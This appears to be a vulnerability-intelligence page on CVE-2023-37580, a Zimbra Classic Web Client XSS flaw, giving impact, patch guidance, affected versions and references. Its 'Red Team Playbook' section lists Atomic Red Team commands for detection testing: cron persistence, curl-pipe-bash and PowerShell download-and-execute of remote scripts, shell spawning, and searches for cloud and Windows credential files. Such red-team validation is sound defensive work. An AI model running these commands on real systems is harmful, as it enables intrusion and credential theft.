CVE-2023-37580
Overview
This vulnerability is a reflected cross-site scripting (XSS) flaw resulting from improper input sanitization in the Zimbra Classic Web Client. The root cause lies in the web application's failure to adequately validate or encode user-supplied input parameters before rendering them in the browser context. The affected component is the Zimbra Collaboration Suite (ZCS) versions prior to 8.8.15 Patch 41, specifically within the web client interface handling certain HTTP request parameters.
Vulnerability Description
Zimbra Collaboration (ZCS) 8 before 8.8.15 Patch 41 allows XSS in the Zimbra Classic Web Client.
Impact
An attacker can execute arbitrary JavaScript in the context of a victim’s browser by tricking users into visiting a maliciously crafted URL or submitting manipulated requests. This requires no authentication but does require user interaction to trigger the script execution. Consequences include session hijacking, unauthorized actions performed on behalf of the user, theft of sensitive information, and potential defacement of the web client interface, leading to data breaches and compromised user trust.
Solution
Apply the security update provided by Zimbra in version 8.8.15 Patch 41 as detailed in their official security update announcement and pull request references. The vendor’s advisory and patch instructions are available at https://blog.zimbra.com/2023/07/security-update-for-zimbra-collaboration-suite-version-8-8-15/ and https://github.com/Zimbra/zm-web-client/pull/827. Administrators should upgrade affected ZCS instances to this patched version to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zimbra Collaboration Suite, specifically within the Zimbra Classic Web Client, is characterized by a cross-site scripting (XSS) flaw. This type of vulnerability occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to inject malicious scripts into the content served to users. The affected versions prior to 8.8.15 Patch 41 exhibit insufficient input sanitization, which can be exploited by an attacker to execute arbitrary JavaScript code in the context of a user's session. This flaw can potentially compromise user accounts, manipulate web content, and lead to unauthorized actions being performed on behalf of the user.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious link that, when clicked by a user of the Zimbra Classic Web Client, would execute the injected script within the user's browser. This could be done via phishing emails or social engineering tactics, where the attacker entices the user to visit a specially crafted webpage. Once the script is executed, it could capture sensitive information such as session cookies, login credentials, or other personal data. Additionally, the attacker could redirect the user to a malicious site or perform actions within the Zimbra environment, such as sending emails without the user's consent.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on Zimbra for their communication and collaboration needs. Successful exploitation could lead to data breaches, loss of sensitive information, and unauthorized access to corporate resources. The business risks associated with such incidents include reputational damage, regulatory penalties, and financial losses due to remediation efforts and potential litigation. Moreover, the compromised accounts could be leveraged for further attacks within the organization, creating a cascading effect of security incidents.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Zimbra Collaboration Suite to the latest patched version is essential to close known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests and block potential XSS attacks. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities in their web applications. User education is equally important; training employees to recognize phishing attempts and suspicious links can reduce the likelihood of successful exploitation.
In conclusion, the XSS vulnerability in the Zimbra Classic Web Client poses a serious threat to organizations using this collaboration platform. Understanding the technical details, potential attack vectors, and real-world implications of this flaw is crucial for cybersecurity professionals tasked with protecting sensitive information. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-37580, indicating increased targeting of the Zimbra Classic Web Client vulnerability. While no new exploit techniques or ransomware associations have surfaced, the surge in detection signals heightened adversary interest and potential preparatory phases for broader exploitation campaigns. This uptick underscores the vulnerability’s continued relevance in threat actor toolkits despite its medium severity rating. Consequently, defenders should recognize that the risk posture has shifted toward greater likelihood of exploitation attempts, warranting sustained vigilance in monitoring and response efforts.
Affected Products (14)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p3:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p30:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p31:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p32:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p33:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p34:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p35:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p37:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p38:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p40:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p5:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-37580 |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Security_Center |
| wiki.zimbra.com |
GitHub CVE
|
https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy |
| openwall.com |
GitHub CVE
mailing-list
|
http://www.openwall.com/lists/oss-security/2023/11/17/2 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-37580 |